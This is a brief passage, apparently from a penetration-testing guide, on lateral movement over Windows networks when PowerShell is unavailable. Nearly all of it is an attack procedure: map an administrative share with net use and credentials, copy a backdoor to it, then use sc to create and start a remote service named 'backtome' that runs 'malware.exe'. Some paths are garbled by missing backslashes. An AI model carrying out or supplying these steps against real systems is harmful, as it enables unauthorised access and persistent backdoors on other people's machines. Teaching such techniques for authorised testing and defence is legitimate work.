What if penetration testers encounter a system with no PowerShell to invoke? During such cases, SC will be very handy for performing lateral movement in the network for all of the systems that you have access to or systems with anonymous access to the shared folder:

1. * net use \advancedc$/user:advancedusername password
2. dir \advancedc$
3. Copy the backdoor that's been created to the shared folder

4. Create a service called backtome
5. * Sc \remotehost create backtome binpath="c:xxmalware.exe"
6. Sc remotehost start backtome